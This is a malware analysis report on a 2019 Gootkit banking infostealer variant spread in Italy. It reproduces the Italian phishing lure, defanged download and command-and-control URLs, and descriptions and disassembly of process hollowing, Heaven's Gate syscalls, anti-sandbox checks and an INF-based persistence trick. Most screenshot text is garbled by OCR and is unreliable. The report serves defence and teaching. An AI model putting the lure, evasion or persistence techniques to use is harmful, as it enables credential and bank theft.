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1.The Threat

Gootkit belongs to the category of Infostealers and Bankers therefore it aims to steal information available on

infected machines and to hijack bank accounts to perform unwanted transactions.
It has been around at least since 2014 and it seems being actively distributed in many countries, including Italy.
Previous reports about this threat can be found following this link: Malpedia

Today we are going to dive into the analysis of a particular variant that came up the last week.

2.Payload Delivery

The infection vector is an email written in Italian. In this case adversaries used one of the most common social

engineering techniques to trigger the user to open the attachment
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GLS

Caro Pubblico

| vostro ordine n 65423 & stato un successo ricevuta magazzino centro di
esecuzione e pronto a consegna. Ma l'indirizzo nel tuo ordine & elencato con

sbaglio & non possiamo consegnare 'ordine a te

Numero d'ordine: # 65423
Data di consegna: 05.02.2019
Stato: consegnato al magazzino

Controlla il tuo ordine e contattaci se possibile

CONTROLLA ORDINE - Scarica il file allegato alla lettera

Copynight & 2019 GLS. Tutti i diritti iservati.

Unsubscribe

The downloaded file is a heavily obfuscated Javascript file called "GLS_Notifica.js". If the user opens it, the
native Javascript interpreter wscript.exe would be executed by default and it would perform the following HTTP

request:

hxxp://redok.com.mx/tmp/337.php

The result is the download of a cabinet file that is an archive file which can be extracted natively by Windows.
Inside there is a Portable Executable file that is saved into the % TEMP% folder
(“C:\Users<username>\AppData\Local\Temp”) and launched.

Javascripts downloaders are a common payload delivery because a little obfuscation can be enough to make them

very difficult to be detected by antivirus engines.
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5 engines detected this file o
SHA-256 597f734c780f283d6cd7c7443700a65249b8350ec1ad58b8aa790a32f57eecad

File name GLS_Notificajs

File size 33.25KB

Last analysis ~ 2019-02-07 13:18:17 UTC

Detection Details Community
Ikarus A Trojan-Downloader.]S.Agent Kaspersky A HEUR:Trojan-Downloader.Script.Generic
Rising A Trojan.Obfus)S/Heur! 1.A4CA (CLASSIC) Symantec A 15B.Downloaderlgens0
ZoneAlarm A HEUR:Trojan-Downloader.Script.Generic Ad-Aware 0 Clean

3.Gootkit executable

First run of the sample in an automated environment revealed that something new was added in this version. As
we can see in the following images, malware authors added a new layer of protection to the malicious agent. The

comparison has been made with a variant spread during December of 2018 in Italy. images are from AnyRun

MidduHDKFLF.exe

MidduHDKFLF.exe

MNigduHDKFLF.exe

UHDKFLF.exe

This means that the original program was “packed” with the aim to slow down reverse engineers and to make

ineffective static analysis tools like Yara rules.

4.Stage 1: Packed Gootkit

In such cases, a malware analyst knows that he has to extract the original payload as fast as possible without

losing time to try to understand the inner workings of this stage.
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A great open-source tool exists which can resolve the problem in a matter of seconds. It’s called PE-Sieve GitHub.
Even though it does not always work, in this case it can dump the unmapped version of the original executable

because the malicious software uses a technique called Process Hollowing a.k.a. RunPE. This method consists in
starting a new process in a suspended state, “hollowing” out the content of the process, replacing it with malicious

code and, finally, resuming the thread.

In the image we can see that the 6th parameter of "CreateProcessW" was set to "4", indicating that the process will

start in a suspended state.

B Gaph [ tlog  [fINotes  ® Breskpoints ™M MemoryMap () CallStack  SBSEH  Jof Saipt  %lSymboks <> Source - References  '# Threads % Snowman B Handes  §7 Trace
.

8B FF mov edi,edi CreateProcessi || wide FPU
55 push ebp
?g EC 'Sg; :gg.esp EAX  025E1DGE L™ "C:\\Users\\REM\ \Desktop\\Niddu
- P 4 - I EEX 00000000
EE 25 28 14 39 74 1|:€3dmurd ptr ds:[<&CreateProcessw:] CreateProcessw ECX 00190E2C LUCz\\Users'\REM\\Desk top\\Ni ddurD
cc intz EDX  001910C3
cc intz EBP 00191004
cc int3 ESP 00190984
cc int3 ESI  04061E3S "j@h”
cc int3 EDI  040D1BED
cc int3
cc int3 EIP 74334510 <kernel32.CreateProcessw:>
cc int3
< Lo EFLAGS 00000304
= Hue ZF 0 PF 1 AF O
@ int3 OF 0 SF O DF O
cc inta CFo TF1 IF1
cc int3
cc int3 LastError 00000000 (ERROR_SUCCESS)
cc int3 LastStatus CO000030 (STATUS_INVALID_PARAMETER_MIX)
cc int3
cc int3 v
o i) , | Default stdcall) ~|[5_[£] 0] unlocke
1: [esp+4] 00190E2C L"C:“\\Users\\REM\\Desktop\\NidduHl
1BED 2: [esp+8] 025EIDGE L™\"C:%\Users\\REM\‘\Desktop\\Nidd
3: [esp+C] 00000000
. 4: [esp+10] 00000000
334510 kernel32.d11:$14510 #5510 <CreateProcessw> 5: [esp+i4] 00000000
[04000468 Urn to 04000468 from @77

1 @oumpz  WWpump3  @Woump4  WWDumps @ watch1  Ikllocals | g Stuct

re 7
00190E2C | L"C:\\Users\\REM\\Desktop\\NidduHDKFLF.exe"

025E1DGE | L™\ "C:\\Users\\REM\\Desktop'\\NidduHDKFLF.exe\""
00000000

00000000

00000000

2l nn1annna!

We are talking about a well known technique that is easily detectable with the monitoring of the Windows API

calls that are needed to perform the injection. But here comes the trick.

Following the flow of execution we couldn’t find all the needed API calls: we got NtCreateProcess,

NtGetContextThread, NtReadVirtualMemory and NtSetContextThread.
The most important ones that are used by monitoring applications to detect the technique were missing:

e NtUnmapViewOfSection to “hollow” the target process
o NtWriteVirtualMemory to write into the target process

e NtResumeThread to resume the suspended thread
Let’s find out what’s happening!

After some shellcode injections inside its memory space, the process executes a call to IsWow64Process API that
is used by the application to understand if the process is running under the WOW64 environment (Wiki) : this is a

subsystem of the Windows OS that is able to run 32-bit applications, like this one, on 64-bit operating systems.

51 push ecx

64 FF push FFFFFFFF

FF 55 40 call dword ptr ss:[ebp+40] [ebp+40] : IswWowc4Process
F7 D8 neg eax

1B CO sbhb eax,eax

The result of this check is used to run two different paths of code but with the same scope: run one of the
aforementioned missing API calls in the Kernel mode. This means that, in this way, classic user-level monitoring

tools would not catch these calls and the RunPE technique would remain unnoticed.
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Specifically, in case the process is running in a 32-bit environment, it would use the SYSENTER command to

switch into the Kernel mode, while, on the contrary, it would use the SYSCALL command to perform the same

operation.
5B D4 mov edx,esp
OF 34 sysenter
= ret_
8B 45 08 mov eax,dword ptr ss:[[ebp+s]
OF 05 syscall
89 45 D4 mov dword ptr ssiffebp-2CJ,eax

To complicate even further, the SYSCALL command can’t be called in the context of a 32-bit application. This
means that the executable needs to perform a “trick-into-the-trick” to execute this operation. We are talking about

a technique known as The Heaven’s Gate.

Practically, thanks to the RETF instruction, it’s possible to change the code segment (CS) from 0x23 to 0x33, de

facto enabling 64-bit mode on the running process.

In the following image we highlight the entrance and the exit of the “Gate” which contains the 64-bit code that
performs the SYSCALL operation.

1b63: 6a 33 push OxX33

1b65: e8 00 00 0O 0O call Ox1b6a

1b6a: 83 04 24 @5 add DWORD PTR [rsp], 0x5
1b6e: ch retf

1be6T: 2b 65 ec sub esp, DWORD PTR [rbp-0x14]
1b72: ff 75 b8 push QWORD PTR [rbp-0x48]
1b75: 59 pop rcx

1b76: ff 75 c8 push QWORD PTR [rbp-0x38]
1b79: 5a pop rdx

1b7a: ff 75 fo push QWORD PTR [rbp-0x10]
1b7d: 41 58 pop rg

1b7t: ff 75 8 push QWORD PTR [rbp-0x8]
1b82: 41 59 pop r9

1b84: ff 75 d8 push QWORD PTR [rbp-0x28]
1b87: 5f pop rdi

1b88: Tt 75 e@ push QWORD PTR [rbp-0x20]
1b8b: 5e pop rsi

1b8c: 85 T6 test esi,esi

1b8e: 74 10 je 0x1bao

1b90: 67 48 8b 0Oc T7 mov rcx, QWORD PTR [edi+esi*8]
1b95: 67 48 89 4c T4 20 mov QWORD PTR [esp+esi*8+0x20], rcx
1bo9b: 83 ee 01 sub esi,Oxl

1bh9e: 75 fo jne 0x1boo

1bao: ff 75 b8 push QWORD PTR [rbp-0x48]
1ba3: 41 ba pop rie

1bas: 8b 45 08 mov eax, DWORD PTR [rbp+0x8]
1ba8: of 05 syscall

lbaa: 89 45 d4 mov DWORD PTR [rbp-0x2c],eax
l1bad: 03 65 ec add esp, DWORD PTR [rbp-0x14]
1bbo: e8 00 00 00 0O call @x1bb5

1bbs: c7 44 24 94 23 00 00 mov DWORD PTR [rsp+0x4], 0x23
1bbc: 00

1bbd: 83 04 24 ad add DWORD PTR [rsp],0xd
1bc1: cb retf

1bc2: 8b 65 b4 mov esp, DWORD PTR [rbp-8x4c]
1bcs: 5e pop rsi

1bcé: 5f pop rdi
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Instead, in this other image, we can see the process status before opening the gate (grey=suspended process) and

after having closed it (orange=running process).

e View Debug Trace Plugins Favourites Options Help Mar 42018
Hacker View Tools Users Help
¥ ¢ L = L] |
cOE i taws taBsSsshin 20 BE | %% Refresh {3 Options | #l Find handles or DLLs 4% System information  * [Search Processes (CtrieX) 0O
[V hNotes  ® preakpoints ™ MemoryMap [V CalStack S SEH Processes Services Netwok  Disk
6A 33 push 33 - - - - - —
E& 00 00 0D OO €all 3FAlBeA Mame PID ASLR  Integrity CPU IOtotal.. Privateb.. Use”®
83 04 24 05 add dword ptr ss:fespl,s
cB ug far — i 1 | [ esrss.exe 456 ASLR  System 0.06 1L.7MB NT
2B 65 EC sub es r itr ss:febp-14 L
FE7: 8a pushithvorc per. ss:Bebp- 4ol v [ wininit.exe 500 ASLR  System 12MB NT
1] pop ecx .
F 75 C& push dword per zc:ffebp 350 > [0 senvices.exe | 376 ASLR  System 204 352MB NT
Sa pop edx 3858, Syste
FF 75 FO push dword ptr 55:[febp-108 = e 392 ASIR m Ll ]
a1 inc ecx [+ fontdrvhost.exe 696 ASLR  Low 154 ME For
58 pop eax T T
FF 75 F8 push dword ptr ss:lfebp-sl V¥ 7 winlogon.exe 336 ASLR  System 215MB NT
o ;g; e [ fontdrvhost.exe 704 ASLR  Low 458 MB  For
:; 75 D8 push g[vnrd ptr s5:lfebp-250 [ dwm.exe 904 ASLR  System 0.81 48.56 MB Wit
pop edi -
FF 75 EO push dword ptr ss:lfebp-20] ~ . explorer.exe 4872 ASIR  Medium 0.24 3808 MB DE!
SE pop esi
85 F& test esi,esi
74 10 je 3FALBAQ
67 48 dec eax
8B OC F7 mov ecx,dword ptr ds:[edi+esi~g]
67 481 dec eax = fl i
urites  Options  Heb  Mar 4 2018 Hacker View Took U el
. acker lew ools Isers lelp
%+ = & i ) .
(AR B IWAE X SR A0N 3 § &%, Refrech (£ Options | # Find handles or DLLs 34 System information  ** [Search Processes (Ctil+k) @
Bcou @eeh [ log  [TNotes  ® Breskpoints B8 MemoryMap [ Coll Stack % SEM Processes  Services  Network  Disk
®| D3FALESS FF 75 EO push dword ptr ss:[[ebp-z0f
03FALBSE SE p esi Name PID ASLR  Integrity CPU  I/Ototal.. Privateb.. Use™
85 FE test esi,esi
v 74 10 je 3Fa18ap 456 ASLR  System 0.05 17TMB NT
67 48 dec eax
88 0C F7 I'I’I}V ecx, dword. ptr dsafedi-esisg] 500 ASLR  System 12ZMB NT
67 48 jec eax
89 4C F4 20 mov dord ptr ssiflespresi -8+20], ecx 576 ASLR  System 180 352MB NT
83 EE 01 sub esi, |
~ 75 FO ine 3FALES0 =8 Lall SR S HBRT|
FF 75 B8 push dword ptr ss:|[febp-45] . [¥] fontdrvhost.exe 696 ASLR  Low 1.54 MB  For
41 INC &Cx -
Iy pop cax (2 winlogon.exs 535 ASLR  System 215MB NT
B te By e P ==ilebesal ] fortdrvhost.exe 704 ASLR  Low 453MB For
89 45 D4 mov dword per ss:febp-2c, eax (5] dwm.exe 404 ASLR System 0.85 48,55 MB Wir
03 65 EC add esp,dword ptr ssifebp-14])
03FALEBO E8 00 00 00 00 €all zFalses V¥ 1 explorerexe 4872 ASLR Medium 015 38.08MB DE
O3FALBBS €7 44 24 04 23 00 00|mov dword ptr sa:[c;p:i],?i
03FA18ED 83 04 24 OD add gwara ptr ss:fespll,0
O3FALECL CB ret far w i IDKFL
88 65 B4 |mov esp,dword ptr ss:febp-4c] i (] NidduHDKFLF.exe
SE pap es1 v
CE o eI =t [ pestudio.exe

Also, Gootkit takes advantage of The Heaven’s Gate as an anti-debugging technique because the majority of
commonly used debuggers can’t properly handle this situation, not allowing the analyst to follow the code of the

Gate step-by-step.
For further details, this method was deeply explained in this blog MalwareBytes

Going back to the point, the first stage resulted more complicated than expected because it pushed over the limits

of obfuscation and stealthiness with the combination of various techniques.

5.Stage 2: Gaining a foothold

At this point we can proceed with the analysis of the unpacked Gootkit.

The very first considerable finding was the check for the existence of a mutex object named

“ServiceEntryPointThread”. If it exists, the process would terminate itself.
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aph 4 Log ' Motes ® Breakpoints W Memory Map D Call Stack =7 SEH 12| Seript 'E] Symbols <7 source ' References 'S Threads </ snowman L Handles r'* Trace

El FF 15 CD 91 A5 00 €all dword ptr ds: [<&0penduTexw=] ~ [ Hide FPU

. 83 45 8C mov dword ptr ss:[[ebp-74],eax

. 83 7D 8C 00 cmp dword ptr ss:febp-74],0 , N N -

- ~ 75 18 jne gootkit_2_stage.A31390 Eg: ggé;;ggg S B N T O e

. 8D 4D 84 Tea ecx,dword ptr ss:|[ebp-7c] Bor  Grameenn

. E8 63 12 00 00 €all gootkit_2_stage.A325F0 - . : -

. 50 push eax eax:L"serviceEntryPointThread” EDX 031F48ED L"serviceEntryPointThread

. GA 00 push 0 EBP  O4D5FASO

. GA 00 push 0 ESP  04D5F708

. FF 15 70 91 A5 00 €all dword ptr ds:[<&CreatemMutexws] ESI 00000006

. 89 45 BC mov dword ptr ss:|febp-74], eax EDI 03209470

—» ~ EB OF jmp gootkit_2_stage.A313AC

e 6A 00 push o EIP 0ODA3L376 gootkit_2_stage.D0A3L376

- FF 15 5C 91 AS 00 call dword ptr ds:[<&GetCurrentProcess>

o 50 push eax eax:L"serviceentryPointThread” EFLAGS 00000344

- FF 15 68 91 A5 00 €all dword ptr ds:[<&TerminateProcess>] ZE 1 PF 1 AF 0

>0 8D 4D B4 lea ecx,dword ptr ss:[febp-7Cll OF 0 SED DF O

. ES 0C 1D 00 00 €31l gootkit_2z_stage.A330C0

. oF pop edi CF 0 TF1 IF 1

. SE pop esi

. 8B ES mov esp,ebp LastError 000000CE [ERROR_ENVVAR_NOT_FOUND)

. 5D pop ebp LastStatus CO000100 (STATUS_VARTABLE_NOT_FOUND)

. c3 ret

. cc ints © 1

= re inr3 , | Defautt (stdcal ~|[5 12/ unlacked
[1: Teznl NO1FENNNT i

But how mutexes works? Mutexes are used as a locking mechanism to serialize access to a resource on the
system. Malware sometimes uses it as an “infection marker” to avoid to infect the same machine twice. The
fascinating thing about mutexes is that they are a double-edged weapon: security analysts could install the mutex

in advance to vaccinate endpoint. (ref: Zeltser blog).

This means that this is a great indicator of compromise that we can use not only to detect the infection but also to

prevent it.

Moving on, we found that malware authors implemented a lot of checks to understand if the malware is running

inside a virtual environment. Some of them are:

o It checks if the registry key
“HKLM\HARDWARE\DESCRIPTION\System\Central Processor\O\ProcessorNameString” contains the

word “Xeon”

call dword ptr ds:[<&RegOpenkeyw=] A || Hide FPU
test eax,eax eax: L"Hardware'3\DESCRIPTIONY\Systemh\CentralProcessor’ 0"
jne gootkit_2_stage.AS734C EAX  031F4108 L"Har dwal

mov byte ptr ss:[febp-27Q, 40 40: "M* b

mov byte ptr ss:[ehp—gG]:B ECX  0531F27C " .
mov byte ptr ss:[febp-95),74 TAI'Z" EDX  03208DBS L"Xeon
mov byte ptr ss:[lebp-24[,59 59:"Y" EBP  0531F3AC

(XXX EXER )

mov byte ptr ss:[lebp-32f,33 33:f3° H EBX 00000000

e it checks if the computer name is “7SILVIA” or “SANDBOX?”, if the username is “CurrentUser” or
“Sandbox” or if “sbiedll.dll” has been loaded.

D4 2AFDS 4 | 00000000
049AF0S 8 | 00000000
043AF0OSC | 00000000
043AF060 | DOBBEGDS | "7SILVIA"™
0434F064 | DOB8ES2E | "SANDBOX"
049AF0G6E | DOBBEFFS | "Sandbox™
043AF06C | DOB8ES40 | "CurrentUser™
043AF070 | 00888508 | "shied11.d11™
D4 2AFDT 4 | 00000000

mans o |l Aarsisoaonsn

e it checks if “HKLM\HARDWARE\Description\System\VideoBiosVersion” contains the word “VirtualBox”

DU SE £ 45 BU 45 k4 182 eax,owora pIr Ss:|gepp-Lj
OOAZIF7 45 S0 push sax
OOAZFT 49 8B 40 10 mov ecx,dword ptr ssiebp+10] [ebp+10]:"0Oracle WM VirtualBox Vers
OOAIFT 4C 51 push ecx
OOAZF74D 8D 55 FO Tea edx,dword ptr ss:[@ebp-10]
O0AZFFS0 g2 push edx
OOAZF751 6a 00 push ©
OOAZFTE3 8B 45 0OC mov eax,dword ptr ss:[@ebp+C] [ebp+C]: "videoBiosversion”
OOAIFFS6 50 push eax
OOAZFFST 8B 40 FB mov ecx,dword ptr ss:[@ebp-2]
OOAZIFTEA 51 push ecx
FF 15 883 90 AS 00 call dword ptr ds:[<&8ReglueryvalueExas=]
8B 55 FB mov edx,dword ptr ss:[ebp-2]
O0AIF7 64 52 push edx
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e it checks “HKLM\Software\Microsoft\Windows\Current Version\SystemBios Version” for the string
“VBOX”

In the case one of this check fails, the program would execute a Sleep operation in a infinite cycle in the attempt to

thwart automated sandbox execution.

8D 4D F& lea ecx,dword ptr ss:|Jebp-3])
E8 71 32 FF FF call gootkit_2_stage.A3Z870
SO push eax
&A 00 push 0
FF 15 AC 91 AS 00 call dword ptr ds: [<&GetProcAddresss])
85 CO test eax,esax
~ 75 0D jne gootkit_2_stage.A3F&l9
&8 10 27 00 00 push 2710
FF 15 E4 91 A5 00 €32ll dword ptr ds:[<&Sleep>]
~ EB DE jmp gootkit_2_stage.A3FS5F7
8D 4D FS8 T1ea ecx,dword ptr ss:|lebp-3]
E8 EF 32 FF FF call gootkit_2_stage.A3Z910

After that, we encountered the implementation of a particular persistence mechanism that it seems Gootkit has

been using for many months: it’s already documented in various blog posts, for ex. ReaQta blog.

Briefly, the infostealer generates a INF file with the same filename of itself.

FF 15 3C 92 A5 00 call dword ptr ds:[<&CreateFilew>] | Hide FPU
89 45 FC mov dword ptr ss:|febp-4],eax
. §g 43 EGRRE 'j:'r':g ggg;gig‘; :"JK;;}‘[;EFFFFFFF 20 LC:W\Users\\REM\\Desktop\\gootkit_2_stage.inf™
FF 15 8C 91 AS 00 Eall dword ptr ds:[<&GetLastErrors] gi’
89 45 FB mov dword ptr ebp-8], eax - N
e o e B ehs—;}::n RO © 20 L"C:\\Users\\REM\\Desktop\\gootkit_2_stage.inf"
v 75 33 jne gootkit_2_: . A3BADF 0 . ) -
BB 45 14 mov eax,dword ptr ss:[ebp+14] . ) 44 &LVC:\\Users\\REM'\Desktopl\gootkit_z_stage. inf

Content of the INF file:

El [Version]

signature = "SCHICAGOS™

AdvancedINF = 2.5, "You need a new version of advpack.dll"™
Bl [DefaultInstall]

RunPreSetupCommands = qumkzhnsnhgtlqyemydppcpid:2
H [gwpmkzhnsnhgtl gyremydppopin]
$TEMP:\NidduHDEFLF.cxe

Then it creates 3 different registry keys (“Count”, “Path1” and “Section1”) inside
“HKCU\Software\Microsoft\I[EAK\GroupPolicy\PendingGPOs” with the purpose to allow the threat to execute on

reboot.

FF 15 €4 90 AS 00 call dword ptr ds:[<&RegCreateKeyExw>] ~| Hide FPu
89 45 FC mov dword ptr ss:[ebp-4],cax

v EB 1B jmp gootkit_2_stage.A3C597 4
8D 4D FB lea ecx,dword ptr ss:|[[ebp-s] Eﬁ ggggggﬂg
51 push ecx

1 . f— ECX 000FD23F

S T C gt (I S5 000, edx:iL"Software, || EDX  02D44408 L"Softwar e\ \M1crosoft )\ IEAKY \GroupPolicy',\ Pendingaros"
6A 00 push o EBP 0539F750
8B 45 OC mov eax,dword ptr ss:[[ebp+c] [ebp+C]:L"Softm ESE  0539F724
50 push eax ESI 00000005
8B 4D 08 mov ecx,dword ptr ss:|ffebp+s) EDI O0A35480 gootkit_2_stage.00A354380
51 push ecx - _

It seems that this technique was reported to be used only by Gootkit.
Famous security tools still can’t detect this mechanism even if it has been used for months.

For example, the famous SysInternal Autoruns tool, that should be able to show all the programs that are

configured to run on system bootup or login, fails the detection of this persistence method.
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KEY_CURRENT_USER\Software\Microseft\[EAK\GroupPolicy\PendingGPOs

> CommsAPHost

ContactsRT
> | Cryptography
> CTF
> EventSystem
F12
> || FamilyStore
> Fax
Feeds

> Connection Manager

> Fiddler2
FTP
GameBar
GameBarApi
> || IdentityCRL
4 IEAK
v GroupPolicy
. PendingGPOs
> IME

~ || Name Type Data

& Autoruns - Sysinternals: www sysinternals.com

File Entry Options Help

ab] (Default) REG_SZ {value not set)

i’ﬁ'w](ount REG_DWORD  0x00DDO00D1 (1)

gﬂPatm REG_SZ C\Users\REM\Desktop\gootkit_2_stage.inf
ab|Section REG_SZ Defaultinstall

(2] 3 [ %X §  Fiter [GroupPolfy

’ AppInit KnownDLLs . Winlogon & Winsock Providers Q Print Manitors g L5A Providers g
3 Everything & Logon W Explrer @ InternetExplorer () Scheduled Tasks 8 services B Drivers [ ¢
Autorun Entry Description Publisher Image Path Timestamp

Stepping through the code, we noticed that, at runtime, Gootkit decrypts the strings it uses with a custom

algorithm to evade static analysis detection of anomalous behaviour.

It’s a combination of “stack strings”, XOR commands and the modulo operation.

.
>

.

.

L @
|m———— .
| -
! .
| pe——
1
;| .
i -
:l ]
ol .
|| .
| -
i .
i .
i .
i -
1 -
-)—i—l—)-

gootkit_2_stage.A47AL3
ecx,dword ptr ss:|[ebp-10]
ecx,1

dword ptr ss:[lebp-10f,ecx
dword ptr ss:[lebp-10f,14
jge gootkit_2_stage.A47AS1
mov edx,l

test edx,edx

je gootkit_2_stage.A47A4F

mov eax,dword ptr ss:[ebp-10]
movzx ecx,byte ptr ss:[[ebpteax-B4]
mov eax,dword ptr ss:|[[ebp-10]
cdq

mov esi,6

idiv esi

movzx edx,byvte ptr ss:[[ebptedx-54]
Xor ecx,edx

push ecx

mov eax,dword ptr ss:[[ebp-10]
push eax

Tea ecx,dword ptr ss:|[lebp-188]
call gootkit_2z_stage.A32610
jmp gootkit_Z_stage.A47A0A
e b

seb o it = Bale osfl Ao

Jmp
mov
add
mow
cmp

loop start
ecx=control wvariable
14=Tlen{encrypted_string)

ecx < 14 continue; else end loop
edx cleanup

edx:L"/rbody”

save control variable to eax

control variable / &
use the rest as variable to loop
decryption with the selected XOR
push decrypted string

push control variable

continue Toop

An exhaustive explanation of the decryption routine can be found here:link

get character from encrypted stack string

over the XOR wvalues
value

concat new value to decrypted string and save to edx

Skipping further, eventually there’s a call to “CreateProcessW” to start a new instance of Gootkit with the

following parameter: --vwxyz

6.Stage 3: Check-in phase

Quickly we found out that executing the malware with the cited parameter allows us to skip all the previous anti-

analysis controls to get into the part of the code that starts to contact the Command & Control Server.

The first check-in to home is done to the following URL via HTTPS:
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GET hxxps://avant-garde.host/rbody32

GET Abody32 HTTP/1.1

Cache
Cache-Control: no-cache
Client
User-Agent: MozillafS.0 (Windows NT 6.1; Winé4; x64; rv:25.0) Gecko/21000101 Firefox/25.0
Miscellaneous
Range: bytes=953040-
A-ComputerNarme: NG
¥-File-Name: |
X-HTTP-Agent: WININET
%-IsTrustedComp: O
%-0SVersion: 6.2,9200| 0.0/1|0x00000100
%-Proxy-AutoDetect: FALSE
%-Proxy-Override: <-loopback:>
#-Proxy-Present: TRUE
%-Proxy-Server: http=127.0.0,1:8388;https=127.0.0.1:8883
%-Proxy-Used: TRUE
%-User-Info: Mmtieshiatlahdint| x00000000|0x00000221 |admin|{1*

%-User-hame: Mttt
®-VendorId: 3434

Transport
Host: avant-garde.host

As we can see from the image, many headers were added to the request to send different informations of the
infected machine to the C&C Server.

In particular one of the headers caught my attention: “ X-IsTrustedComp”. Digging into the code we found that
the value would be set to “1” if an environment variable called “crackmeololo” was found in the host, “0”

otherwise.

02C57AA8 | L"X-IsTrustedComp: 0"
C | 02C4B5D0 | L"X-IsTrustedComp: %d"

00000000
€all dword ptr ds:[<aGetEnvironmentvarial ~| wide FPU
test eax,eax eax: "crackmeololo”
je gootkit_z_stage.AS7BE7 EAX 02EEE7BO “crackmeololo”
lea edx,dword ptr ss:|[lebp-12C] EBX 00000000
push edx edx: "crackmeololo” T E 1o10"
€all dword ptr ds:[<&1strlenA>] R LEE 1 s U
push eax eax: "crackmeololo™ EDX  O2EEE7BO ‘crackmeololo”
IR e e . _i_ .=~ [-1-} NnARaAFR2r

That seems another “escaping” mechanism implementing by the author, probably to stop the infection chain for

his own debugging purposes.

7.Last stage
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The response that arrives from the previous connection contains the final stage of Gootkit, configured to work

properly on the infected machine.

The malware dynamically loaded “RtlDecompressBuffer” call to use it to decompress the payload; then, it

injected into an area of the current process memory.

4
.

FF 15 34 31 FO 10 ca’ 1l dwo~d ptr ds:[<&Loadlib-aryas] a| Wide Fou
- co pug? ;aV. ol per de: | EESEFERECEE . eaw:tntdl1.411"
L] FF 15 AC 21 FO 20 l H ! " "
ofmN i «Celfolo N dnod prr dledstirocaddresss e
®| ODEEB4C2 8B 40 F4 mov 2ok, Jword prr ssi[ebp—c] . Frw NANFERR4 anrd11 . AT
: gggég:ég g? 51 o4 r[;l:;ht:g);;JwUrd purodesfecxr4] : EDX D04FEDES ard1l. 411"
® | DDEES4CS o] push & E=P  CEERFEDD . .
® (| DDEES4CE FF 15 BC %1 FO 10 €&l dwo~d ptr ds:[<&GetProczssHeans1 EsE  DODFFE6s &'ntd11.dll
®((00EE&4D01 50 push eax eax:"ntdl1.411" EST 00000005
& || NNFFE=4N> FF 1 48 91 Fn 00 FATT dwinrd pre o de: [«eRTTATTA-ATRHRANS] FNT NANFF3IRN
®|(ODEES4D5 3 45 FO mov dword ptr ss:ifebp-20],eax<
®| 00EES408 g8 15 02 mov e, dword prrocczfebpa] EIF  0OEES4EZ gootkit_z_staje.0DEES4EZ
| DOEES4DE 8B 45 04 mg: ecx,dword ptr doz[eax+d] "nEg}].g}}", eadtds" . dIT"
®(|00EESHEL 83 <1 0C COm T n . "
® | 00EES4E4 83 40 DE mov durd ptr ss:febp-za],ece EELfGSPF 900223:4
®(UUEER4E S BE S5 B9 mov edx,wokd prr sifebp-]
o || OOEES4EA 8B [2 mov eax,dword ptrods:[ed<] nrdl11.411", eds:"nrdl1.411" @E FO OFJI
o[ ooEEZ4EC 83 ES 0C sub eax,C sncdll. 411 &G e WE &L
® | ODEES4EF §3 45 DC mov dword ptr ss:lebp-241, eax _
o[ DOEES4FZ EE 40 DC ov ecx, dword ptross:febp-z4] LASTEFror 00001000 (ERROR_SUCCESS]
&(0DEES4FE c1 push ecw ecx atnedll 411" lastatarus CANNN3d CSTETHS_NRIFCT_MAMF_KAT_FI
®| DOEES4FE 8B S5 DE mov edx, dword ptr sc:febp-28)
e 0oCCo4ro 52 push cdx cdx:"ntdl1.471" G5 COZB FS 0053
® | ODEEZ4FR E® C1 E3 FF FF Ca’l goockit_z_stage.EEGECO ES CO2E DS 0023
® || UUEES4FF ETRETY) Tea ea<,Iword prr s::ifebp-1s] C5 027 g5 0023
& ([00EE&S0Z 50 push eaxj 4 e febp-24] eax:"ntdl1.411"
& [[29EES503 E3 b S mens =oe, dword pErosszebps _ . ®E7F0 00000000010000000000 STO EMpTy 0.0C00000
: gggggggs gé 5t o r%g\sfheg)?fjwnrd ptr 55:[ehp—28] ecii&"ntdll.dll ASFrL 000000000230000000000 5TL ElrlgL;{ 0. 0Co000o
- h edw H d11.411
p Eﬁ?ﬁiiﬁé‘ Hoan ra e e Awerdd nre sz ehn T " , " |oefauk Gstica) <5
1: [=5p] OO4FEQES "ntdl1.d11"
na1ad canntkit_2_stage.fl nadl ThraryesJ=<kern=132 1 narl 1hearyss ot E:Spl43 0CS0<026 ''RTlDocomprossDutfer'
Afterwards the flow of execution is transferred to the start of the injected code.
n&z 01000 tg push ebp
®&| 05201001 8B EC mow ebp,esp
® | 02010032 53 EC g0 sub esp,e0
0sz201008 %1 7O 08 00 00 F5 7F|cmp dword ptr ss:[ebp+2],7FFE0000
a&z01aon v F& 0D jbe &zD101C
05z 0100F SB 45 08 mow eax ,dward ptr ss:[ebp+s]
Oez201012 20 00 00 F8 7F sub eax,FFFS0000
osz010l7 32 45 E4 mov dword ptr ss:ffebp-1C] ,eax
06201014 ~ EB OF imp 201023
0Ez20101C CF 45 E4 00 00 01 oofmov dward ptr ss:[ebp-1C]0,10000
052010232 % 40 Ed4 maow ecx ,dward ptr ss:[ebp-12] eCx:RLIPCTOF] 1eHeader
05201026 %3 40 FO mow dword ptr ss:febp-10] ,ecx eCxiRLIPCETOF] 1eHeader
0sz2010239 %1 7O 08 00 00 00 S0|cmp dword ptr ss:[ebp+s],50000000
05201030 v 73 0E jae 6201040
0sz01032 2B 55 08 mow ed=,dward ptr ssi[ebp+s]
0E201035 g1 C2 00 00 F2 7F add edx,7FFS0000
0520103 B %3 55 EO mow dword ptr ss:[ebp-zo0] ,ed=
0520103E « EB OF imp 6201047
a&z01040 C7 45 EO 00 00 F§ FF|mov dword ptr ss:[ebp-zo] ,FFFE0000
0Ez201047 2B 45 EO mow eax ,dward ptr ssi[ebp-z0]
OEz01044 %3 45 EC maow dword ptr ssifebp-14] ,2ax
Osz01040 CF 45 FS 00 00 00 oo0fmov dword ptr ss:[ebp-2].0
®| 0&z01054 %3 30 E4 35 83 06 00| cmp dword ptr ds:[&8333E4] .0
ISEEEES ®| 05201058 ~ FE 15 jne &z0D107z2
| ®| 0&z01050 %3 30 EO 39 23 06 00| cmp dword prr ds:[&8339€E0] ,0
| or----@ (05201064 Vo 74 0 je szDa0orFz
i g ®| 05201066 B 0D EO 32 #2 06 mow ecx,dward ptr ds:[&68339E0] eCx:RTIPCTOF11eHeader
' ®| 0520108 3% 0D E4 23 232 06 mow dword ptr ds:[£833%E4] ,ecx ecx:RELIPCToOF11eHeader
—-b——@ || 0GZ201072 %3 20 E4 2% &3 06 00|cmp dword ptr ds:[&8333E4],0
r----®| 0201073 v 74 T4 je &ZD10EF
| ®| 0520107E gB 15 E4 22 83 0& mow edx ,dward ptr ds:[68339E4]
| ®|| NEFNTNET %3 TA NS 0N rmn dwnrd ntr ds:Tedw+31 .0
0 £
e

ebp=000FFSFC

0&z201000

